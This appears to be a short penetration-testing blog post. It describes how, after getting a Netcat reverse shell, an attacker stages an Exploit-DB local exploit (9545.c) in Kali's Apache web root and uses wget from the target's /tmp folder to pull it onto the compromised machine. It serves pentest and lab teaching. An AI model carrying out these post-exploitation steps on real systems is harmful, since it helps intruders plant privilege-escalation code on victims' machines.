Copy files onto the target machine using wget and a webserver

Once you have a reverse connection using a Netcat listener you can use the following technique to copy files onto the target machine e.g.:

cp /usr/share/exploitdb/platforms/linux/local/9545.c /var/www/html

This will copy an exploit into Kali’s web root directory

Run the following to ensure your Apache webservice is running:

service apache2 start
service apache2 status

Move back to the command shell you have running on the target machine through Netcat and run the following.

cd tmp
wget http://LOCALIP/9545.c

This is the file that was copied into the Kali webroot above. It will now have been copied to the target machine into the tmp folder which is a folder that is writeable.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s